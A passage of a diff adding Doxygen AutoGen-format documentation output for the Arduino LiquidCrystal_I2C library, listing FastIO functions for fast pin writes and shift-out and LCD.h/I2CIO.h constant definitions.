<<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '128'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a07a19dfbdca1afaca5d666bdaa3be7d5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToBit'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '115'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1afb934fc0ded94cbb5ed8ed14e2a123ed'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToInputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '106'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a385ae40d960c1a57e86818332476a802'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToOutputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'initial_state'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LOW +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '97'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a5d8d5977294d614d15bda19f75d6b787'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '184'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a56c72b9f00680662229895ab22aaa743'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'dataBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'clockBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'bitOrder'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '172'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a33ce251dcd6b448185cda415a99001cf'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +false +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '194'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1af2aac35d9a8ab7a2c87672f2c7cbbafb'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +false +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '202'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param pin[in] digital pin + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a2d0e4495eb12504255bbd3f82405b17b'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '210'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1ae4b2e099f8ade9ee674d1565669e870a'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '217'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param pin[in] digital pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8cpp'; + file-name = 'I2CIO.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8h'; + file-name = 'I2CIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_i2_c_i_o_8h_1a218dbde2f6fda8c5825e25da10864c71'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = '_I2CIO_VERSION'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +"1.0.0" +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + define-mem-desc-line = '32'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8cpp'; + file-name = 'LCD.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8h'; + file-name = 'LCD.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a0f50ae3b4bdb42dd5ad74b2c604a7515'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'BACKLIGHT_OFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '151'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Backlight off constant declaration + @discussion Used in combination with the setBacklight to swith off the + LCD backlight. @set setBacklight +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aa5bad1c51f5fac029f3deacfef48c54b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'BACKLIGHT_ON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +255 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '159'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Backlight on constant declaration + @discussion Used in combination with the setBacklight to swith on the + LCD backlight. @set setBacklight +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab0d87e07831e7e4943caef187872123e'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'COMMAND'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '132'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aad9ae913bdfab20dd94ad04ee2d5b045'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'DATA'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '133'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aa1e30e32b6c2cf8d90a9281328472dbe'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'FOUR_BITS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '134'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ad25b138788d83e67f840588754e2df2f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'HOME_CLEAR_EXEC'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +2000 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '143'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Defines the duration of the home and clear commands + @discussion This constant defines the time it takes for the home and clear + commands in the LCD - Time in microseconds. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a8c85cf88d8af66a47c42249d81c94641'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_1LINE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '125'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a7987e93538df2819583ba43b81ddbb25'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_2LINE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x08 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '124'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab8c35d355d2372090c7a347e961c9224'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_4BITMODE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '123'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1abb3210156d88d3fe18c9352eb161fe42'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_5x10DOTS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '126'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a9ef57e724c1b846dae0f531aff6fb464'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_5x8DOTS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '127'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a59a57ca857dae5d89eb5f2a38c4ac6f0'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_8BITMODE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x10 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '122'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a4b28243034cec656b0ed490ba6979752'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BLINKOFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '111'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ac3b19d4e6553b9bbf18a23387e439206'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BLINKON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '110'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1acc3509bc0442b41e2b816555de473ed2'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CLEARDISPLAY'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '88'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract All these definitions shouldn't be used unless you are writing + a driver. + @discussion All these definitions are for driver implementation only and + shouldn't be used by applications. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ac21f0302ac4136775877d5f4759e4f74'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSORMOVE'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '116'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a32b194a3adaa0a0bb69acee2e6a754fa'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSOROFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '109'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1ab67f0adccde68de88eee0513fdfc4574'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CURSORON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '108'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + 